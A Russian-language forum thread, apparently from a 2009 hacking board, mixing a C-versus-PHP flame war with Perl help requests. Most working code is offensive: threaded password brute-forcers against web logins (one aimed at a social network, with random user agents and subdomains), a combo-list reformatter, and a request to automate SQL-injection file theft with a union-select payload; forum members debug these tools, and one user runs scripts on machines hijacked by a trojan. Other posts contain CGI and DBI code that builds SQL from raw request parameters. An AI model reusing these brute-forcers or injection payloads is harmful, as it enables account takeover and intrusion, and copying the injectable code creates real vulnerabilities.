Если ты не понимаешь метафоры, то это никак не моя вина. Да, пых и си НЕЛЬЯЗ сравнивать, я орал, ору и буду об этом орать. насчет других участников - если ты не веришь мне, на что твое право, то, может, ты поверишь другим. в теме скорее ты никак не разбираешься, угу.
Мои плюсики лично для меня ничего не значит и я еще нигде и никогда не хвалился ими, а знаний у меня предостаточно как минимум для напсиания "четырех элементарных строк кода", которые, имхо, ты написать и не сможешь. Так что читать молча будешь ты, а не я.
Оке?
Т-34 ,ты не понимаешь о чем говоришь.На си в основном пишут десктопные приложения(за редким исключением).php предназначен совершенно для другого.Это равносильно сравнению гондонов и противозачаточных таблеток.И то и другое-контрацептивы,но таблетку ты на хер не оденешь. Тема бессмысленна . Т-34 в бан.
одно интерпретируемое, а другое - компилируемое
интерпритатор - это один из видов компилятора
И интерпритатор так же компилирует перл-код в код двоичный и выполняет его на лету
Из перлового скрипта можно и exe сделать, импортировав туда все либы. И что ты тогда скажешь?)
wildshaman
23.05.2009, 22:44
Я лишь процитировал слова того умника :)
Ну вот спайдер, ты же вроде умный, аж в МОА
Вот разве можно сравнивать пых и си?)
Языки можно сравнить
Но то что они для разных целей - тут я спорить не буду
пхп на си написан, поэтому сравнить можно)
Помогите переделать скрипт под список логинов, а то у меня ничего не получается! :confused:
#!/usr/bin/perl
use strict;
use LWP::UserAgent;
use HTTP::Cookies;
use Getopt::Std;
use threads;
print "\n Starting brute...\n";
open (FP , '<pass.txt') || die ("No password list! \n"); # Пароли в pass.txt
my @pass = <FP>;
close FP;
my $login_username = 'login'; # ЛОГИН!
my $i=0;
my @thr;
my $ua = LWP::UserAgent->new;
my $cookies = HTTP::Cookies->new(agent => 'Opera/9.50 (X11; Linux x86_64; U; ru)');
$ua->cookie_jar($cookies);
for (@pass)
{
my $nowpass = $_;
chomp @pass;
if($thr[$i]) {threads->object($thr[$i]->tid())->join;}
$thr[$i]=threads->create(\&brute,$login_username,$nowpass);
$i=($i+1) % 5; #Количество потоков (5)
}
foreach(threads->list) { $_->join; }
sub brute()
{
$ua->cookie_jar($cookies);
my $req = $ua->post('http://*.php', {
'st.posted'=>'set',
'username'=>$_[0],
'password'=>$_[1],
'login'=>'%C2%F5%EE%E4'
})->as_string;
my $result = $req =~/302 Found/;
if ($result)
{
print "[+]OK $_[0]:$_[1]\n";
open (G , '>>good.txt');
print G $_[0].":".$_[1]."\n";
close G;
print "PASSWORD FOUND!!!!!\n";
}
else
{
open (G , '>>bad.txt');
print G $login_username."\n";
close G;
print "[-] BAD $_[1]\n";
}}
Код по-человечески оформите
yaoleg, а в чем проблема? Код написан понятно, даже комментарии есть!
yaoleg, так попробуйте заюзать
open my $FL, '<', 'login.txt' or die "No login list: $!\n"; # Логины в login.txt
open my $FP, '<'. 'pass.txt' or die "No password list: $! \n"; # Пароли в pass.txt
my @login = <$FL>;
my @pass = <$FP>;
close $FP;
close $FL;
#my $login_username = 'login'; # ЛОГИН!
foreach my $login_username (@login) {
chomp $login_username;
my $i = 0;
my @thr;
my $ua = LWP::UserAgent->new;
my $cookies = HTTP::Cookies->new (agent => 'Opera/9.50 (X11; Linux x86_64; U; ru)');
$ua->cookie_jar ($cookies);
for my $nowpass (@pass) {
chomp $nowpass;
if ($thr[$i]) {
threads->object ($thr[$i]->tid())->join;
}
$thr[$i] = threads->create (\&brute, $login_username, $nowpass);
$i = ($i + 1) % 5; #Количество потоков (5)
}
}
Извините, но у меня не работает! Что делаю не так?
#!/usr/bin/perl
use strict;
use LWP::UserAgent;
use HTTP::Cookies;
use Getopt::Std;
use threads;
print "\n Starting brute...\n";
open my $FL, '<', 'login.txt' or die "No login list: $!\n"; # Логины в login.txt
open my $FP, '<'. 'pass.txt' or die "No password list: $! \n"; # Пароли в pass.txt
my @login = <$FL>;
my @pass = <$FP>;
close $FP;
close $FL;
#my $login_username = 'login'; # ЛОГИН!
foreach my $login_username (@login) {
chomp $login_username;
my $i = 0;
my @thr;
my $ua = LWP::UserAgent->new;
my $cookies = HTTP::Cookies->new (agent => 'Opera/9.50 (X11; Linux x86_64; U; ru)');
$ua->cookie_jar ($cookies);
for my $nowpass (@pass) {
chomp $nowpass;
if ($thr[$i]) {
threads->object ($thr[$i]->tid())->join;
}
$thr[$i] = threads->create (\&brute, $login_username, $nowpass);
$i = ($i + 1) % 5; #Количество потоков (5)
}
}
}
foreach(threads->list) { $_->join; }
sub brute()
{
$ua->cookie_jar($cookies);
my $req = $ua->post('http://*.php', {
'st.posted'=>'set',
'username'=>$_[0],
'password'=>$_[1],
'login'=>'%C2%F5%EE%E4'
})->as_string;
my $result = $req =~/302 Found/;
if ($result)
{
print "[+]OK $_[0]:$_[1]\n";
open (G , '>>good.txt');
print G $_[0].":".$_[1]."\n";
close G;
print "PASSWORD FOUND!!!!!\n";
}
else
{
open (G , '>>bad.txt');
print G $login_username."\n";
close G;
print "[-] BAD $_[1]\n";
}}
Что значит не работает? Если выводит ошибку, то дайте ее нам. Еще желательно заюзать use warnings; после use strict;
Есть у меня подозрение, что с фигурными скобками у вас не все ладно
Ошибка такая: Missing right curly or square bracket at script.pl line 67, at end of line syntax error at script.pl line 67, at EOF Execution of script.pl aborted due to compilation errors.
Я угадал =) проверьте кол-во фигурных скобок и правильность их расмещения. По-моему, вот здесь
$thr[$i] = threads->create (\&brute, $login_username, $nowpass);
$i = ($i + 1) % 5; #Количество потоков (5)
}
}
}
последняя лишняя
Эта ошибка после 5-го пароля!
Starting brute...
[-] BAD qwerty
[-] BAD 123456
[-] BAD 555555
[-] BAD 111111
[-] BAD 1234
Can`t call method "join" on an undefined value at script.pl line 29.
Имеется скрипт, хотелось бы сделать так чтоб пароли брались также как и логины из файла txt. Сам пытался сделать но не получается.
Сам скрипт:
#! /usr/bin/perl -w
use IO::Socket;
use threads;
use threads::shared;
use Fcntl ':flock';
$pwd = shift || '123456' ; #Пароль
$threads = shift || 20 ; #Кол-во потоков
$ml = shift || 'acc.txt' ; #Список акков
$fname = 'good.txt' ; #Валидные
my $i : shared = 0;
my @trl;
$| =1;
print "Loading...\n";
open (ACS, "<$ml") || die("Could not open acc list file!");
my @acc : shared = <ACS>;
chomp(@acc);
close(ACS);
$size = scalar @acc;
print "Loaded: ".$size." accs.\n";
for(0..$threads) {$trl[$_] = threads->create(\&Brut, $_);}
for(@trl) { $_->join; }
sub Brut
{
while(@acc)
{
{lock(@acc);$acc = shift @acc;}
my $sock = sock();
my $data =
"-----------------------------18847261322183\n".
"Content-Disposition: form-data; name=\"username\"\n\n".
"$acc\n".
"-----------------------------18847261322183\n".
"Content-Disposition: form-data; name=\"password\"\n\n".
"$pwd\n".
"-----------------------------18847261322183\n".
"Content-Disposition: form-data; name=\"login\"\n\n".
"Submit\n".
"-----------------------------18847261322183--\n\n";
my $re =
"POST HTTP/1.1\n".
"Host: \n".
"User-Agent: Mozilla/4.0\n".
"Connection: close\n".
"Referer: \n".
"Content-Type: multipart/form-data; boundary=---------------------------18847261322183\n".
"Content-Length: ".length($data)."\n\n".$data;
print $sock $re;
read($sock,my $answ,10000);
if($answ =~ /cdb_auth/)
{
print "[+] $acc\n";
open(FILE, ">>$fname") || die("Could not open $fname\n");
flock(FILE, LOCK_EX);
print FILE "$acc:$pwd\n";
flock(FILE, LOCK_UN);
close(FILE);
}
{lock($i);$i++;}
print "< ".sprintf("%.2f", ($i/$size)*100)."% >\r";
close($sock);
}
}
sub sock {
my $sock;
do {
$sock = new IO::Socket::INET
(
PeerAddr => '',
PeerPort => 80,
PeerProto => 'tcp',
TimeOut => 10
) or print "Can't connect\n";
} while (!$sock);
return $sock;
}
Точто сам сделал:
$pwd = shift || 'pass.txt' ; #Пароль
$threads = shift || 20 ; #Кол-во потоков
$ml = shift || 'acc.txt' ; #Список акков
$fname = 'good.txt' ; #Валидные
my $i : shared = 0;
my @trl;
$| =1;
print "Loading...\n";
open (ACS, "<$ml") || die("Could not open acc list file!");
open (PWD, "<$pwd") || die("Could not open pass list file!");
my @acc : shared = <ACS>;
my @pwd : shared = <PWD>;
chomp(@acc);
chomp(@pwd);
close(ACS);
close(PWD);
$size = scalar @acc;
$size2 = scalar @pwd;
print "Loaded: ".$size." accs.\n";
print "Loaded: ".$size2." pwds.\n";
for(0..$threads) {$trl[$_] = threads->create(\&Brut, $_);}
for(@trl) { $_->join; }
Дальше не могу сообразить что делать.
Script is edit now work.
Reverse Place From Pass:Email To Email:Pass
---------------------------------------
#!/usr/bin/perl -w
print "Select Option:\n\n";
print "[1]: Reverse Place [ Pass:Email To Email:Pass ]\n\n";
print "Option:";
$option = <STDIN>;
chomp($option);
print "Specify Input File: ";
$input_filename = <STDIN>;
chomp($input_filename);
open(INFILE, $input_filename);
print "Specify Output File: ";
$output_filename = <STDIN>;
chomp($output_filename);
open(OUTFILE, '>' . $output_filename);
if ($option == 1) {
while ($line = <INFILE>) {
$_ = $line;
/(.+?):(.+?)\n/;
$a = $2;
$b = $1;
$a =~ s/^\s+//;
$a =~ s/\s+$//;
$b =~ s/^\s+//;
$b =~ s/\s+$//;
print OUTFILE $a, ':', $b, "\n";
}
}
Special tanks to Kaimi and int3
Pleace help to finish this script.
Reverse Place From Pass:Email To Email:Pass
#!/usr/bin/perl -w
print<<HERE;
Select Option:
[1]: Reverse Place [ Pass:Email To Email:Pass ]
HERE
chomp(my $opt = <>);
if($opt == 1)
{
print "Specify input file: ";
chomp(my $in = <>);
print "Specify output file: ";
chomp(my $out = <>);
open A, "<", $in || die $in."-".$!;
open B, ">>", $out || die $out."-".$!;
while(<A>)
{
$_ =~ /(.+?):(.+?)\n/;
print B $2.":".$1."\n" if defined $1 && defined $2;
}
close A;
close B;
}
else
{
print "No option has been specified\n";
}
Thanks Kaimi,
can some 1 fix my script
Извените но я сосвсем тупой и непонимаю!
Поэтому задам вопрос соответственно моей тупости!
Я видел на одном форуме как с перл сделали античит для кс 1.6
Неподскажите как сделать?
Думаю мне помогут
1. Выбрать из таблицы базы данных MySQL случайную запись несколькими способами.
Есть одно важное ограничение – диапазон id НЕ является непрерывной числовой последовательностью!
Структура таблицы:
CREATE TABLE `rand_test` (
`id` int(11) NOT NULL auto_increment,
`name` varchar(50) NOT NULL default '',
`ispub` tinyint(1) NOT NULL default '1',
PRIMARY KEY (`id`)
) TYPE=MyISAM AUTO_INCREMENT=1 ;
Пояснения:
id - первичный ключ
name - информация ключа
ispub - признак публикации (1- запись участвует в выборке, 0-нет)
2. Вывести древовидную структуру, основываясь на данных из таблицы MySQL.
Скрипт должен отформатировать текст используя шаблон, хранящийся отдельно (Условие обязательно).
Структура таблицы:
CREATE TABLE `tree` (
`id` int(11) NOT NULL auto_increment,
`pid` int(11) NOT NULL default '0',
`name` varchar(50) NOT NULL default '',
`ispub` tinyint(1) NOT NULL default '1',
PRIMARY KEY (`id`),
KEY `pid` (`pid`)
) TYPE=MyISAM AUTO_INCREMENT=1 ;
Пояснения:
id - первичный ключ
pid - ключ «родительского» элемента (0- для корневого)
name - информация ключа
ispub - признак публикации (1- запись учитывается, 0-запись не учитывается)
Шаблон:
Для упрощения задачи шаблоном принимается асоциативный массив, используемый скриптом и хранящий описанием форматирования вывода дерева.
$template=array(
'body' =>'<ul>{body}</ul>',
'node' =>'<li>{node} <ul>{sub}</ul>',
'item' =>'<li>{item}',
);
В итоге, вы должны получить:
1. PHP скрипт, выводяший древовидную структуру из БД
2. Иметь возможность полностью изменить форматирование текста, не изменяя кода самого скрипта.
Нужно очень быстро решить задание. Стукните в асю 394820553 дам денег
Подскажите мини-скрипт пожалуйста, который бы в файле с кучей строк вида:
123 67 123 342132 12312 123 3bitch2:hello:hello5:4234
в первом сегменте - до первого ":" - удалял бы все пробелы?
Krist_ALL
21.06.2009, 16:54
$a = explode(':',"123 67 123 342132 12312 123 3bitch2:hello:hello5:4234");
$b = str_replace(' ','',$a[0]);
echo $b;
FireFenix
21.06.2009, 19:21
$a = explode(':',"123 67 123 342132 12312 123 3bitch2:hello:hello5:4234");
$b = str_replace(' ','',$a[0]);
echo $b;
Это тема Perl, а не PHP
Как нужно правилньо файл открыть, чтобы она заработала?
В Perl нету explode, а есть split
Регулярка будет вроде - $text =~ s/ //g;
Попробуй так
open BLAH, '<', 'file.txt' or die 'can't read';
while(<BLAH>)
{
chomp;
my ($a, $b) = split /:/, $_;
$a =~ s/\D//g; $b =~ s/ //g;
print $a.":".$b."\n";
}
close BLAH;
Kaimi
Немного изменил под свой случай и помогло. Спасибо!
Если надо удалить все пробелы, то регулярное выражение $b =~ s/ //g;
должно выглядеть так:
$b =~ s/\s+//g;
Если надо удалить все пробелы, то регулярное выражение $b =~ s/ //g;
должно выглядеть так:
Почему?
насколько я помню то в \s помимо пробела ещё входят символ табуляции, перевода строки и тп символы
так что примре Kaimi наиболее правильный
ЗЫ
\s
Matches any whitespace character; this is equivalent to the class [ \t\n\r\f\v].
насколько я помню то в \s помимо пробела ещё входят символ табуляции, перевода строки и тп символы
так что примре Kaimi наиболее правильный
ЗЫ
\s
Matches any whitespace character; this is equivalent to the class [ \t\n\r\f\v].
Буду иметь в виду. :-)
Reverse IP help.
I search for good reverse ip that
ask for insert ip then scan and make output file
whit the ip name and check for host too.
Insert IP:95.95.95.95
95.95.95.95.txt and inside
--------------------------
Report for:95.95.95.95
Hosting:blabla
1.http://www.xxx.com
2.http://www.xxx.com
etc.etc
--------------------------
Some site for reverse
http://www.ip-adress.com/reverse_ip/209.xx.xx.xx
http://www.sitedossier.com/ip/87.xx.xx.xx
http://www.robtex.com/ip/
http://wservices.ru/reverseip.php
and 1 old script
#!/usr/bin/perl
use LWP::UserAgent;
while (!$ARGV[0]) {
print "Usage: $0 IP \n"; exit;}
$a = 1;
$ua = new LWP::UserAgent(timeout => 15, agent => "Mozilla/5.0 (x11; u; linux i686; en-US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7)" );
$req = $ua->get('http://whois.webhosting.info/' . $ARGV[0] . '?pi=1&ob=SLD&oo=ASC');
if (!($req->is_success)) {
die $req->status_line; }
else {
$output = $req->as_string;
until ($output =~ /(.*?)IP\sDetails\s-\sN\/A\./) {
$req = $ua->get('http://whois.webhosting.info/' . $ARGV[0] . '?pi=' . $a . '&ob=SLD&oo=ASC');
if (!($req->is_success)) { die $req->status_line; }
$output = $req->as_string;
while ($output =~ /<td><a\shref=\"http:\/\/whois.webhosting.info\/(.*?)\">/g){
my($crap,$yes)=split(/info\/(.*?)\.\"\>/,$&);
print "$yes\n";
}
sleep 5;
$a++;
}
print "Done!\n";
}
Thanks in advance.
Здраствуйте Не осилил всю ветку может где и поднималось. В общем есть задачка написать сплойт по вытаскиванию в познавательных целях php исходников с одного сайта через внедрение запроса к МySQL (используя обнаруженную SQL - injection и благоприятные права на чтение файлов у пользователя БД) Ручками я их уже повытягивал, используя InetCrack, но ввиду большого количества файлов столкнулся с большим количеством рутинных операций. Попробывал написать perl скрипт но столкнулся со сложностями. Дело в том, что для успешной SQL-injection используется обратная кавычка (см переменную sql_inj_str после param) Переменная успешно создается с обратным апострофом в теле, но вот серверу она в качестве контента передается не правильно(судя по ответу как обычная кавычка, которая фильтруется или я чего-то не догоняю) Я не большой специалист в PERLе так что помогите кто чем может :) Посмотрите пожалуйста код, может будут какие-то мнения?
#!/usr/bin/perl
# подключение библиотек
use strict;
use LWP;
use HTTP::Cookies;
# Путь к сайту и "ядовитый" запрос
my $url='test_site.ru';
my $sql_inj_str='param`+where+name=char(100,100,100)+ union+select+0,0,0,0,0,0,0,0,0,123456789,0+;+--+';
# подготавливаем виртуальный браузер и создаем файл для cookie
my $browser = LWP::UserAgent->new;
$browser->cookie_jar( HTTP::Cookies->new('file' => 'cookies','autosave' => 1));
# отправка запроса
my $script='/index.php?lang=ru&path=log'; #путь до уязвимого скрипта сервера
my $response = $browser->post($url.$script,
Content_Type => 'application/x-www-form-urlencoded',
Content =>
[
nick=>'Test_nick',
server=>$sql_inj_str,
,
]
);
die "$url error: ", $response->status_line unless $response->is_success;
# сохраняем страницу ответа в LOG
open(LOG,'>out_htm.htm');
print(LOG $sql_inj_str);
print(LOG $response->content);
close(LOG);
попробуй вместо кавычки %27
пожалуйста если у вас есть время помогите мне: подскажите как сделать чтоб фаил с расширенеем pl работал мой icq 6680194 будуочень благодарен
пожалуйста если у вас есть время помогите мне: подскажите как сделать чтоб фаил с расширенеем pl работал мой icq 6680194 будуочень благодарен
Скачай activeperl (http://downloads.activestate.com/ActivePerl/Windows/5.10/ActivePerl-5.10.0.1005-MSWin32-x86-290470.msi), установи и запусти из командной строки
perl C:\script.pl
Где "C:\script.pl" - путь к скрипту
помогите пажалуйста...
есть 2 компьтера, на обоих стоит актив перл.
беру один и тотже перл скрипт, запускаю через cmd.
на обоих компьтерах скрипт запускается, но когда начинаю вводить параметры на одном компьтере он параметры принмает и начинает работу, на другом компьтере пишет что параметры неверные...
версия актив перл одна и таже.
такое впечатление что скрипт либо не принимает параметры, либо принимает в какой-то изковерканной форме. например когда раные кодовые таблицы... подскажите чёнибудь пж..
помогите пажалуйста...
есть 2 компьтера, на обоих стоит актив перл.
беру один и тотже перл скрипт, запускаю через cmd.
на обоих компьтерах скрипт запускается, но когда начинаю вводить параметры на одном компьтере он параметры принмает и начинает работу, на другом компьтере пишет что параметры неверные...
версия актив перл одна и таже.
такое впечатление что скрипт либо не принимает параметры, либо принимает в какой-то изковерканной форме. например когда раные кодовые таблицы... подскажите чёнибудь пж..
мб кодировки разные? ты случайно не на дедах запускал?
ну впринципе да... два похеканых компа под ХР через троян от мелгомягких...
ну впринципе да... два похеканых компа под ХР через троян от мелгомягких...
Ну а ты что хотел, у тебя на тачке норм запускается?
да, норм) на некоторых дедах норм... а на некоторых не хотит... чё делать ? :(
да, норм) на некоторых дедах норм... а на некоторых не хотит... чё делать ? :(
Как я сказал, дело в кодировке скорей всего.
Попробуй сохранить скрипт в UTF-8.
Там у тебя в параметрах же только латинские буквы и цифры?
В параметрах
1) IP
2) название директори
чёнибудь помутить с кодировками попробую чуть позже, када дед будет онлайн...
да, походу реально чё-то с кодировкой было... када скрипт ему кидал, у него перл не был установлен, скрипт обозначался как файл блокнота... а на деде с блокнотом чё-то намучено... поставил перл заново, поновой кинул ему скрипт, изменил настройки блокнота на стандарт, всё заработало...
всёравно спасибо всем за помощь, хоть и сам разобрался...
Подскажите , пытаюсь переименовать файл через rename получаю в ответ Permission denied .
(win32)
Как боротцо ?? Спасибо.
dinar_007
10.08.2009, 18:44
Подскажите , пытаюсь переименовать файл через rename получаю в ответ Permission denied .
(win32)
Как боротцо ?? Спасибо.
Дать необходимые права...
Что за файл переименовываешь?
Не файл реестра случаем? :)
Можно увидить пример конструирования сырых сокетов?
Как изменить вид php скрипта, чтобы фунция осталась на прежднем уровне?
Можно увидить пример конструирования сырых сокетов?
Если использовать модули на основе libpcap (Net::RawIP), то примеры есть в их документации.
Можно обойтись и без спеиальных модулей - почитай статью:
http://xain.hackerdom.ru/zine/online/issue0/Raw%20&%20Packet%20Sockets%20in%20PERL.html
Можно увидить пример конструирования сырых сокетов?
Вот ссылка на документацию с несколькими примерами. perl raw socket (http://www.tcos.org/Bulletin/fall96/golden.ps)
cr0w, demond: большое спасибо, всё получилось.
anubis666
17.08.2009, 21:52
ПОМОГИТЕ ПОЖАЛУЙСТА!!-->как сделать чтобы system ('start D:\tmp\ffmpeg.exe -i D:\tmp\$name -an -ss 00:00:10 -r 1 -vframes 1 -s 200?200 -y -f mjpeg $name.jpg');
выполнялся после #!"D:\perl\bin\perl.exe"
use CGI qw/:standard/;
# Код для HTML-формы
print "Content-Type: text/html\n\n";
print "<form method=\"post\" enctype=\"multipart/form-data\" action=\"upload.pl\">";
print "<input type=\"file\" name=\"picture\">";
print "<input type=\"submit\" name=\"Submit\" value=\"Submit\">";
print "</form>";
#end of print form
insert_image() if (param());
sub insert_image {
# путь к директории для закачки директория
# должна иметь право на запись для
# пользователя, под которым работает веб-сервер
my $downpath = "d:/tmp/";
my $in=param('picture');
# выделяем имя файла из параметра
my ($name) = $in =~ m#([^\\/:]+)$#;
open(OUT,">$downpath$name");
binmode(OUT);
# читаем входной поток и пишем в файл
while (<$in>) {
print OUT $_;
}
close(OUT);
# выводим надпись о закачке файла <$name>
print "Upload file: $name"; объясните в подробностях..
ПОМОГИТЕ ПОЖАЛУЙСТА!!-->как сделать чтобы system ('start D:\tmp\ffmpeg.exe -i D:\tmp\$name -an -ss 00:00:10 -r 1 -vframes 1 -s 200?200 -y -f mjpeg $name.jpg');
для начала чтобы вместо переменной $name подставилось ее значение, необходимо одинарный кавычки заменить на двойные.
А затем подробнее объясни что именно необходимо! Из столь общего описания ничего не понятно!
anubis666
17.08.2009, 22:45
извините что сразу не объяснил.
1.скрипт планируется использовать для загрузки и конвертирования видео..
2.пременныю $name я взял из скрипта (она выводит имя файла и расширение к примеру : video.flv)...т.к будет загружатся много видео создавать превью и конвертировать тоже..
3.я поменял ковычки и сразу после загрузки видео страница виснет.(не грузит)
я поменял ковычки и сразу после загрузки видео страница виснет.(не грузит)
"Виснет" видимо потому, что при использовании system скрипт будет ожидать завершения процесса конвертирования.
anubis666
17.08.2009, 23:13
но конвертер консольный( ffmpeg.exe)а как я знаю консольные приложения сразу закрываются после выполнения сценария... почему же #!"D:\xampp\perl\bin\perl.exe"
print "Content-Type: text/html\n\n";
print "OK";
system ('start D:\tmp\ffmpeg.exe -i D:\tmp\video.avi -ar 22050 -ab 32 -f flv -s 320x240 video2.flv') выполняется нормально и создает превью?!
вроде бы как перл будет ждать ответа от system, чтобы это отключить, надо перенаправить вывод системной команды, попробуй посмотреть во что превращается "start D:\tmp\ffmpeg.exe -i D:\tmp\$name -an -ss 00:00:10 -r 1 -vframes 1 -s 200?200 -y -f mjpeg $name.jpg", потом запусти в консоли, будет ли долго исполнять, если нет, заюзай профайлер
anubis666
17.08.2009, 23:56
всё..большое спасибо за ответы, проблема решается токо когда указываеш полный путь к файлу..но теперь проблема...надо каждый раз прописывать путь к новому видео...как это автоматизировать в этом скрипте?
всё..большое спасибо за ответы, проблема решается токо когда указываеш полный путь к файлу..но теперь проблема...надо каждый раз прописывать путь к новому видео...как это автоматизировать в этом скрипте?
прибавляй к имени файла, там где это нужно, путь. и будет тебе счастье! :-)
anubis666
30.08.2009, 00:15
и сново я...объясните мне что делаю не так!есть perl скрипт
#!"D:\perl\bin\perl.exe"
use DBI;
use CGI qw/:standard/;
use CGI qw(param);
use CGI::Carp qw(fatalsToBrowser);
my $dbh = DBI->connect("DBI:mysql:database=video;host=localhost",
"****", "****") || die $DBI::errstr;
print "Content-Type: text/html\n\n";
my $view=param('id');
my $video=param('v');
my $title=param('t');
$result = $dbh->do("SELECT file_id FROM video WHERE file_id='$view'");
$result2 = $dbh->do("SELECT video_id FROM video WHERE video_id='$video'");
$result3 = $dbh->do("SELECT title_id FROM video WHERE title_id='$title'");
print "<center>$result2</center>";
print "<center><script type='text/javascript' src='http://videoserver.3-a.net/files/public/flvpleer/swfobject.js'></script>
<div id='mediaspace'>This text will be replaced</div>
<script type='text/javascript'>
var so = new SWFObject('http://videoserver.3-a.net/files/public/flvpleer/player.swf','mpl','640','480','9')
so.addParam('allowfullscreen','true')
so.addParam('allowscriptaccess','always')
so.addParam('wmode','opaque')
so.addVariable('file','http://videoserver.3-a.net/files/mediagallery/media/$result')
so.addVariable('image','http://videoserver.3-a.net/files/mediagallery/images/$result.jpg')
so.write('mediaspace')
</script>
</center>";
print "краткое описание $result3";
$dbh->disconnect();
почему значение переменных ($result,$result2,$result3) равно 1,хотя должно выводится значение полей (file_id,video_id,title_id)? я так понимаю это из-за использования метода do..если я прав то как это исправить?(хотя даже если не прав ,как исправить?)
Очень боюсь ошибиться, так как совсем недавно начал писать на Perl! Но для получения данных использую не do, а следующим образом:
$result = $dbh->prepare("SELECT file_id FROM video WHERE file_id='$view'");
$result->execute();
$result = $result->fetchrow_hashref();
Прочти описание метода do и вопросы отпадут
anubis666
30.08.2009, 00:32
$result = $dbh->prepare("SELECT file_id FROM video WHERE file_id='$view'");
$result->execute();
$result = $result->fetchrow_hashref();
при использовании prepare выводится значение DBI::st=HASH(0x198c884) ,а когда остальные появляются ошибки ... :confused:
омг
do() используется для запросов UPDATE и INSERT и тп, так как возвращает результат запроса (1=ошибки нет, 0=ошибка)
Юзай prepare(),execute() и fetchrow_hashref
$fileid= $result->{file_id}
anubis666
30.08.2009, 00:59
тогда почему при использовании prepare мне выводится значение не поля а DBI::st=HASH(0x1a2c884),использую execute выходит ошибка Can't locate object method "execute" via package "DBI::db" at D:/xampp/cgi-bin/new/video.pl line 13.,использую fetchrow_hashref выходит Can't locate object method "fetchrow_hashref" via package "DBI::db" at D:/xampp/cgi-bin/new/video.pl line 13. ..ЧТО ДЕЛАТЬ?ДА Я НУБ!!но что делать? :confused:
Вот! Если не ошибаюсь, должно быть так! НЕ судите строго если ошибся... :rolleyes:
#!"D:\perl\bin\perl.exe"
use DBI;
use CGI qw/:standard/; use CGI qw(param);
use CGI::Carp qw(fatalsToBrowser);
my $dbh = DBI->connect("DBI:mysql:database=video;host=localhost", "****", "****") || die $DBI::errstr;
print "Content-Type: text/html\n\n";
my $view=param('id'); my $video=param('v');
my $title=param('t');
$result = $dbh->prepare("SELECT file_id FROM video WHERE file_id='$view'");
$result->execute();
$result2 = $dbh->prepare("SELECT video_id FROM video WHERE video_id='$video'");
$result2->execute();
$result3 = $dbh->prepare("SELECT title_id FROM video WHERE title_id='$title'");
$result3->execute();
my $result_file = $result->fetchrow_hashref();
my $result_video = $result2->fetchrow_hashref();
my $result_title = $result3->fetchrow_hashref();
print "<center>$result_video->{video_id}</center>";
print "<center><script type='text/javascript' src='http://videoserver.3-a.net/files/public/flvpleer/swfobject.js'>
</script>
<div id='mediaspace'>This text will be replaced</div>
<script type='text/javascript'>
var so = new SWFObject('http://videoserver.3-a.net/files/public/flvpleer/player.swf','mpl','640','480','9')
so.addParam('allowfullscreen','true')
so.addParam('allowscriptaccess','always')
so.addParam('wmode','opaque')
so.addVariable('file','http://videoserver.3-a.net/files/mediagallery/media/$result_file->{file_id}')
so.addVariable('image','http://videoserver.3-a.net/files/mediagallery/images/$result_file->{file_id}.jpg')
so.write('mediaspace')
</script>
</center>";
print "краткое описание $result_title->{title_id}";
$dbh->disconnect();
anubis666
30.08.2009, 01:19
СПАСИБО!!!буду изучать дальше perl
Здраствуйте,
Пробую переделать скрипт для брута вконтакте, вроде всё правильно сделал, но при запуске получаю ошибку:
Thread 3 terminated abnormally: Can't use an undefined value as a symbol referen
ce at qw.pl line 32.
Вот код скрипта:
#!/usr/bin/perl -W
use IO::Socket;
use MD5;
use threads;
use threads::shared;
my @pass : shared;
$dic = "passl.txt"; #паслист для брдутфорсера
$login = 'login';
$threads = 4; #количество потоков
@prefixes = ('as','sd','df','dff','fg','gh','hj');
@agents = ('Mozilla/4.0','Mozilla/5.0','Opera/9.22','IE','AppleMAC-Safari','Opera','FireFox');
open (pass1, "<$dic");
@pass = pass();
for(0..$threads) {$trl[$_] = threads->create(\&Brut, $_);}
for(@trl) { $_->join; }
sub Brut
{
while (@pass){
$pass = shift @pass;
my $random = int(rand(6));
my $prefix = $prefixes[$random];
print("random: $random prefix: $prefix pass: $pass\r\n");
my $sock = IO::Socket::INET->new(Proto=>'tcp',PeerAddr=>"http://".$prefix.".mail.ru",PeerPort=>80);
print $sock "HEAD http://".$prefix.".mail.ru/login.php?username=".$login."&password=".$pass." HTTP/1.0\r\n".
"Host: ".$prefix.".mail.ru\r\n".
"Accept: */*\r\n".
"Content-Type: application/x-www-form-urlencoded\r\n".
"User-Agent: ".$agents[$random]."\r\n".
"Connection: close\r\n\r\n";
$answ = <$sock>;
close $sock;
print "$pass $answ";
if ($answ =~ /302/){
print "$login : $pass\n";
exit;}
}
}
sub pass
{
my (@mas);
while (<pass1>){
push @mas, $_;
}
chomp @mas;
close pass1;
return @mas;
}
Если несолжно, подскажите пожалуйста в чём ошибка, и как исправить?
p.s. mail.ru вписан просто для примера :)
Попробуй замени
PeerAddr=>"http://".$prefix.".mail.ru"
на
PeerAddr=>"mail.ru"
Но мне как-раз нужны эти префиксы, и чтобы при каждом запросе они были разные (случайное число из рандома) и user-agent тоже нужно чтобы случайный был :/
Но http:// то зачем дописывать?
Убрал http:// та же ошибка :(
iveyk
my $sock = IO::Socket::INET->new(Proto=>'tcp',PeerAddr=>"http://".$prefix.".mail.ru",PeerPort=>80);
print $sock "HEAD http://".$prefix.".mail.ru/login.php?username=".$login."&password=".$pass." HTTP/1.0\r\n".Здесь не учитываются возможные ошибки при создании сокета. Т.е. надо добавить что то вроде:my $sock = IO::Socket::INET->new(Proto=>'tcp',PeerAddr=>"http://".$prefix.".mail.ru",PeerPort=>80) or {unshift(@pass, $pass); Brut(); exit()};
Добавил, теперь ошибки невыбрасывает, как я понимаю этот добавленный код недопустил ошибки и закончил работу скрипта, а мне хотелосьбы не обрабатывать ошибку во время интерпретации, а понять что за ошибка, откуда она и как сделать чтобы скрипт работал :(
Добавил, теперь ошибки невыбрасывает, как я понимаю этот добавленный код недопустил ошибки и закончил работу скрипта, а мне хотелосьбы не обрабатывать ошибку во время интерпретации, а понять что за ошибка, откуда она и как сделать чтобы скрипт работал :(
Я ж тебе объясняю, что ошибка в том, что сокет может и не создаться, а скрипт это не проверяет и пытается отправлять в него данные.
Я привел очень примерный код обработки ошибок при создании сокета. Код я тот уже слегка поправил - теперь там просто рекурсивный вызов поточной функции, а затем завершение потока. Вообще, рекурсия здесь далеко не лучшее решение, т.к. она может получиться очень глубокой. Поэтому лучше сделать как-то так:
my $sock;
while (!$sock) {$sock = IO::Socket::INET->new(Proto=>'tcp',PeerAddr=>"http://".$prefix.".mail.ru",PeerPort=>80) or sleep(1)}
